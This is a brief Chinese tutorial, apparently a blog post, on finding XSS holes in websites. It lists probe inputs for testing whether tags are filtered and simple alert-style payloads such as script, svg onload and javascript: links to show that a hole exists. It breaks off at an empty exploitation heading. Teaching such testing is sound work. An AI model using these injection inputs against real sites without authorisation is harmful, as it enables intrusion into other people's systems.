一、测试语句

在网站是否存在xss漏洞时，应该输入如<,>输入后查看网页源代码是否过滤标签，如果没有，很大可能存在xss漏洞

常用的测试语句

1
2
3
4
5
<h1>1</h1>
<span>1</span>
<script>console.log(1)</script>
"><span>x</span><"
">"><span>x</span><"<"

二、攻击语句

输入测试语句未过滤后，为显示存在漏洞，需要插入攻击代码

常见语句

1
2
3
<script>alert(1)</script>
<svg onload=alert(1)>
<a href="javascript:alert(1)">aa</a>

三、利用